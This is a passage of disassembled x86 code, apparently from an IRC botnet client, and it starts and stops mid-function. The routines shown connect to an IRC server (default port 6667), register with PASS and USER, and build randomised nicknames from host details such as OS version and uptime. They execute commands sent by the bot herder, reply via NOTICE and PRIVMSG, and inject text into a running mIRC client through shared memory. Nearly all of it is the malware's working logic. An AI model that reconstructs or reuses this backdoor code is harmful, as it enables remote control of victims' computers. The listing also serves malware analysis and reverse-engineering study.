		jnz	short loc_40CE30
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jnb	short loc_40CE30
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE30:				; CODE XREF: sub_40CA29+3F3j
					; sub_40CA29+401j
		push	offset dword_419968
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE59
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jb	short loc_40CE59
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE59:				; CODE XREF: sub_40CA29+41Cj
					; sub_40CA29+42Aj
		push	offset asc_419F4C ; "<="
		lea	eax, [ebp+var_1A0]
		push	eax
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40CE82
		mov	eax, [ebp+var_1A4]
		cmp	eax, [ebp+var_1A8]
		jbe	short loc_40CE82
		xor	eax, eax
		jmp	short locret_40CEAE
; ---------------------------------------------------------------------------


loc_40CE82:				; CODE XREF: sub_40CA29+445j
					; sub_40CA29+453j
		lea	eax, [ebp+var_8]
		push	eax
		push	offset asc_419FAC ; "&&"
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jmp	loc_40CAE1
; ---------------------------------------------------------------------------


loc_40CEA3:				; CODE XREF: sub_40CA29+BEj
		mov	eax, [ebp+var_10]
		inc	eax
		push	eax
		call	sub_40C916
		pop	ecx

locret_40CEAE:				; CODE XREF: sub_40CA29+1Cj
					; sub_40CA29+42j ...
		leave
		retn
sub_40CA29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CEB0	proc near		; CODE XREF: sub_40A9CF+14CEp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_4]
		call	sub_40CA29
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40CEC9
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEC9:				; CODE XREF: sub_40CEB0+15j
		push	327h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40CEDF
		jmp	short locret_40CF23
; ---------------------------------------------------------------------------


loc_40CEDF:				; CODE XREF: sub_40CEB0+2Bj
		push	180h
		push	[ebp+var_8]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 184h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		push	offset aExecutingComma ; "Executing command(s):	%s"
		push	0
		push	[ebp+var_4]
		push	offset sub_40C93C
		call	sub_4095A4
		add	esp, 14h

locret_40CF23:				; CODE XREF: sub_40CEB0+17j
					; sub_40CEB0+2Dj
		leave
		retn
sub_40CEB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF25	proc near		; CODE XREF: sub_4020C2+B3p
					; sub_40D871+59Bp ...
		push	ebp
		mov	ebp, esp
		mov	eax, dword_41EA84
		pop	ebp
		retn
sub_40CF25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF2F	proc near		; CODE XREF: sub_40D366+Dp
					; sub_40D366+8Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_40CF9E
		push	[ebp+arg_0]
		push	offset dword_41E978
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40CF60
		push	[ebp+arg_4]
		push	offset dword_41EA78
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF71
; ---------------------------------------------------------------------------


loc_40CF60:				; CODE XREF: sub_40CF2F+1Ej
		push	offset a6667	; "6667"
		push	offset dword_41EA78
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF71:				; CODE XREF: sub_40CF2F+2Fj
		cmp	[ebp+arg_8], 0
		jz	short loc_40CF88
		push	[ebp+arg_8]
		push	offset byte_41E7F8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40CF99
; ---------------------------------------------------------------------------


loc_40CF88:				; CODE XREF: sub_40CF2F+46j
		push	offset byte_41DF10
		push	offset byte_41E7F8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40CF99:				; CODE XREF: sub_40CF2F+57j
		jmp	loc_40D020
; ---------------------------------------------------------------------------


loc_40CF9E:				; CODE XREF: sub_40CF2F+9j
		and	[ebp+var_4], 0
		jmp	short loc_40CFAB
; ---------------------------------------------------------------------------


loc_40CFA4:				; CODE XREF: sub_40CF2F+8Bj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40CFAB:				; CODE XREF: sub_40CF2F+73j
		mov	eax, [ebp+var_4]
		imul	eax, 0Ch
		cmp	off_41DB20[eax], 0
		jz	short loc_40CFBC
		jmp	short loc_40CFA4
; ---------------------------------------------------------------------------


loc_40CFBC:				; CODE XREF: sub_40CF2F+89j
		call	sub_410422
		xor	edx, edx
		div	[ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DB20[eax]
		push	offset dword_41E978
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	off_41DB24[eax]
		push	offset dword_41EA78
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	dword_41DB28[eax], 0
		jz	short loc_40D020
		mov	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	dword_41DB28[eax]
		push	offset byte_41E7F8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D020:				; CODE XREF: sub_40CF2F:loc_40CF99j
					; sub_40CF2F+D7j
		push	offset dword_41E978
		call	sub_4105AD
		pop	ecx
		push	offset dword_41EA78
		call	sub_4105AD
		pop	ecx
		push	offset byte_41E7F8
		call	sub_4105AD
		pop	ecx
		leave
		retn
sub_40CF2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D043	proc near		; CODE XREF: sub_40D366+7Fp
					; sub_40D871+619p

var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= byte ptr -184h
var_104		= byte ptr -104h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	edi
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		movsx	eax, byte_41E7F8
		test	eax, eax
		jz	short loc_40D099
		push	offset byte_41E7F8
		call	sub_4105FB
		pop	ecx
		push	offset byte_41E7F8
		push	offset aPassS	; "PASS	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	offset byte_41E7F8
		call	sub_4105AD
		pop	ecx


loc_40D099:				; CODE XREF: sub_40D043+2Dj
		cmp	[ebp+arg_0], 0
		jz	loc_40D132
		movsx	eax, byte_41EFA8
		test	eax, eax
		jz	short loc_40D0C3
		push	offset byte_41EFA8
		lea	eax, [ebp+var_184]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D0D6
; ---------------------------------------------------------------------------


loc_40D0C3:				; CODE XREF: sub_40D043+69j
		lea	eax, [ebp+var_184]
		push	eax
		push	offset byte_41EFA8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D0D6:				; CODE XREF: sub_40D043+7Ej
		movsx	eax, byte_41F128
		test	eax, eax
		jz	short loc_40D0F6
		push	offset byte_41F128
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40D109
; ---------------------------------------------------------------------------


loc_40D0F6:				; CODE XREF: sub_40D043+9Cj
		lea	eax, [ebp+var_104]
		push	eax
		push	offset byte_41F128
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D109:				; CODE XREF: sub_40D043+B1j
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		push	offset aUserSSSS ; "USER %s %s %s :%s"
		call	sub_40D6CB
		add	esp, 14h


loc_40D132:				; CODE XREF: sub_40D043+5Aj
		cmp	[ebp+arg_4], 0
		jz	loc_40D363
		cmp	[ebp+arg_0], 0
		jz	short loc_40D163
		movsx	eax, byte_41EF28
		test	eax, eax
		jz	short loc_40D163
		push	offset byte_41EF28
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40D363
; ---------------------------------------------------------------------------


loc_40D163:				; CODE XREF: sub_40D043+FDj
					; sub_40D043+108j
		call	sub_4092A4
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		mov	[ebp+var_188], eax
		cmp	[ebp+var_188], 4
		jnb	short loc_40D18D
		call	sub_406AE7
		test	eax, eax
		jz	loc_40D31F


loc_40D18D:				; CODE XREF: sub_40D043+13Bj
		call	sub_406A23
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_408342
		pop	ecx
		test	eax, eax
		jnz	short loc_40D1B6
		push	offset aUnk	; "UNK"
		lea	eax, [ebp+var_24C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D1B6:				; CODE XREF: sub_40D043+15Ej
		call	sub_408E8E
		cmp	eax, 400h
		jbe	short loc_40D1CF
		call	sub_408E8E
		mov	[ebp+var_250], eax
		jmp	short loc_40D1D9
; ---------------------------------------------------------------------------


loc_40D1CF:				; CODE XREF: sub_40D043+17Dj
		mov	[ebp+var_250], 400h


loc_40D1D9:				; CODE XREF: sub_40D043+18Aj
		mov	eax, [ebp+var_250]
		shr	eax, 0Ah
		mov	[ebp+var_228], eax
		call	sub_408887
		mov	[ebp+var_18C], eax
		mov	[ebp+var_224], offset aB ; "B"
		cmp	[ebp+var_18C], 2EEh
		jnb	short loc_40D213
		mov	[ebp+var_224], offset aA ; "A"


loc_40D213:				; CODE XREF: sub_40D043+1C4j
		cmp	[ebp+var_18C], 1F4h
		jnb	short loc_40D229
		mov	[ebp+var_224], offset aG ; "G"


loc_40D229:				; CODE XREF: sub_40D043+1DAj
		and	[ebp+var_22C], 0
		mov	[ebp+var_220], 94h
		push	24h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_21C]
		rep stosd
		lea	eax, [ebp+var_220]
		push	eax
		call	dword_417030	; GetVersionExA
		cmp	[ebp+var_21C], 5
		jnz	short loc_40D270
		cmp	[ebp+var_218], 1
		jnz	short loc_40D270
		mov	[ebp+var_22C], 1


loc_40D270:				; CODE XREF: sub_40D043+218j
					; sub_40D043+221j
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		cmp	[ebp+var_22C], 0
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	[ebp+var_224]
		push	[ebp+var_228]
		push	5Dh
		push	[ebp+var_188]
		push	5Bh
		push	5Dh
		lea	eax, [ebp+var_24C]
		push	eax
		push	5Bh
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 34h
		movsx	eax, byte_41DC10
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DC10
		push	offset dword_41DB90
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41DB90
		call	sub_4105FB
		pop	ecx
		movsx	eax, byte_41DC90
		test	eax, eax
		jz	short loc_40D31D
		push	offset byte_41DC90
		push	offset dword_41EE28
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EE28
		call	sub_4105FB
		pop	ecx


loc_40D31D:				; CODE XREF: sub_40D043+295j
					; sub_40D043+2BCj
		jmp	short loc_40D343
; ---------------------------------------------------------------------------


loc_40D31F:				; CODE XREF: sub_40D043+144j
		push	offset dword_41DB80
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40D7E5
		pop	ecx


loc_40D343:				; CODE XREF: sub_40D043:loc_40D31Dj
		lea	eax, [ebp+var_80]
		push	eax
		push	offset dword_419F04
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_80]
		push	eax
		push	offset byte_41EF28
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40D363:				; CODE XREF: sub_40D043+F3j
					; sub_40D043+11Bj
		pop	edi
		leave
		retn
sub_40D043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D366	proc near		; CODE XREF: sub_40A9CF+1521p
					; sub_40D871+4A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF2F
		add	esp, 0Ch
		push	dword_41EA84
		call	sub_40538D
		pop	ecx
		mov	[ebp+var_4], 0EA60h


loc_40D38E:				; CODE XREF: sub_40D366:loc_40D419j
		push	offset dword_41E978
		call	sub_4105FB
		pop	ecx
		push	offset dword_41EA78
		call	sub_4105FB
		pop	ecx
		push	2710h
		push	1
		push	offset dword_41EA78
		push	offset dword_41E978
		call	sub_4050EA
		add	esp, 10h
		mov	dword_41EA84, eax
		push	offset dword_41E978
		call	sub_4105AD
		pop	ecx
		push	offset dword_41EA78
		call	sub_4105AD
		pop	ecx
		cmp	dword_41EA84, 0
		jz	short loc_40D3EE
		push	1
		push	1
		call	sub_40D043
		pop	ecx
		pop	ecx
		jmp	short locret_40D41E
; ---------------------------------------------------------------------------


loc_40D3EE:				; CODE XREF: sub_40D366+79j
		push	0
		push	0
		push	0
		call	sub_40CF2F
		add	esp, 0Ch
		push	[ebp+var_4]
		call	dword_41709C	; Sleep
		cmp	[ebp+var_4], 0A4CB80h
		jge	short loc_40D419
		mov	eax, [ebp+var_4]
		add	eax, 0EA60h
		mov	[ebp+var_4], eax


loc_40D419:				; CODE XREF: sub_40D366+A6j
		jmp	loc_40D38E
; ---------------------------------------------------------------------------

locret_40D41E:				; CODE XREF: sub_40D366+86j
		leave
		retn
sub_40D366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D420	proc near		; CODE XREF: sub_4020C2+1DEp
					; sub_40A9CF+1219p ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41EA84
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D4AB	proc near		; CODE XREF: sub_4020C2+21Bp
					; sub_40332B+1A6p ...

var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		push	[ebp+arg_0]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_1008]
		push	eax
		mov	eax, [ebp+var_1008]
		lea	eax, [ebp+eax+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41EA84
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D53F	proc near		; CODE XREF: sub_401244+51p
					; sub_401244+41Ep ...

var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_416BC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_40D55F
		jmp	locret_40D6C9
; ---------------------------------------------------------------------------


loc_40D55F:				; CODE XREF: sub_40D53F+19j
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 1
		jnz	short loc_40D58F
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D58F:				; CODE XREF: sub_40D53F+2Ej
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jnz	short loc_40D5BB
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A058
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5BB:				; CODE XREF: sub_40D53F+5Aj
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D5E7
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset dword_41A048
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		jmp	short loc_40D605
; ---------------------------------------------------------------------------


loc_40D5E7:				; CODE XREF: sub_40D53F+86j
		mov	eax, [ebp+arg_0]
		add	eax, 21h
		push	eax
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		mov	[ebp+var_8], eax


loc_40D605:				; CODE XREF: sub_40D53F+4Ej
					; sub_40D53F+7Aj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+19Fh], 0
		jz	short loc_40D63C
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D629
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D63C


loc_40D629:				; CODE XREF: sub_40D53F+DCj
		push	offset dword_41A03C
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40D63C:				; CODE XREF: sub_40D53F+D0j
					; sub_40D53F+E8j
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		mov	eax, 1000h
		sub	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_1008]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 2
		jz	short loc_40D680
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+121h], 3
		jnz	short loc_40D693


loc_40D680:				; CODE XREF: sub_40D53F+133j
		push	offset dword_41A038
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx


loc_40D693:				; CODE XREF: sub_40D53F+13Fj
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_41EA84
		call	sub_4053BF
		add	esp, 0Ch

locret_40D6C9:				; CODE XREF: sub_40D53F+1Bj
		leave
		retn
sub_40D53F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CB	proc near		; CODE XREF: sub_40332B+205p
					; sub_40332B+212p ...

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_416BC0
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	1000h
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416DF0	; _vsnprintf
		add	esp, 10h
		and	[ebp+var_4], 0
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	dword_41EA84
		call	sub_4053BF
		add	esp, 0Ch
		leave
		retn
sub_40D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D734	proc near		; CODE XREF: sub_40D74D:loc_40D75Ep

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_4171E8	; FindWindowA
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_40D734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D74D	proc near		; CODE XREF: sub_40A9CF+926p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jnz	short loc_40D75E
		jmp	locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D75E:				; CODE XREF: sub_40D74D+Aj
		call	sub_40D734
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40D76E
		jmp	short locret_40D7E3
; ---------------------------------------------------------------------------


loc_40D76E:				; CODE XREF: sub_40D74D+1Dj
		push	offset aMirc	; "mIRC"
		push	1000h
		push	0
		push	4
		push	0
		push	0FFFFFFFFh
		call	dword_4170C0	; CreateFileMappingA
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		push	0F001Fh
		push	[ebp+var_8]
		call	dword_4170BC	; MapViewOfFile
		mov	[ebp+var_C], eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		call	sub_416B5E	; sprintf
		pop	ecx
		pop	ecx
		push	0
		push	1
		push	4C8h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	0
		push	1
		push	4C9h
		push	[ebp+var_4]
		call	dword_4171EC	; SendMessageA
		push	[ebp+var_C]
		call	dword_4170B8	; UnmapViewOfFile
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40D7E3:				; CODE XREF: sub_40D74D+Cj
					; sub_40D74D+1Fj
		leave
		retn
sub_40D74D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40A9CF+E3p
					; sub_40D043+2FAp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		jmp	short loc_40D803
; ---------------------------------------------------------------------------


loc_40D7FC:				; CODE XREF: sub_40D7E5:loc_40D86Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40D803:				; CODE XREF: sub_40D7E5+15j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jge	short locret_40D86F
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 23h
		jnz	short loc_40D82E
		push	39h
		push	30h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D82E:				; CODE XREF: sub_40D7E5+32j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Fh
		jnz	short loc_40D86D
		call	sub_410483
		test	eax, eax
		jz	short loc_40D85A
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_40D86D
; ---------------------------------------------------------------------------


loc_40D85A:				; CODE XREF: sub_40D7E5+5Ej
		push	5Ah
		push	41h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al


loc_40D86D:				; CODE XREF: sub_40D7E5+47j
					; sub_40D7E5+55j ...
		jmp	short loc_40D7FC
; ---------------------------------------------------------------------------

locret_40D86F:				; CODE XREF: sub_40D7E5+24j
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D871	proc near		; CODE XREF: sub_40E618+321p

var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_7E0		= dword	ptr -7E0h
var_7DC		= byte ptr -7DCh
var_7D8		= dword	ptr -7D8h
var_7D4		= dword	ptr -7D4h
var_7D0		= dword	ptr -7D0h
var_7CC		= dword	ptr -7CCh
var_7C8		= dword	ptr -7C8h
var_7C4		= byte ptr -7C4h
var_7C0		= dword	ptr -7C0h
var_7BC		= byte ptr -7BCh
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= byte ptr -5B4h
var_4B4		= byte ptr -4B4h
var_490		= byte ptr -490h
var_390		= byte ptr -390h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_213		= byte ptr -213h
var_113		= dword	ptr -113h
var_10F		= byte ptr -10Fh
var_95		= dword	ptr -95h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
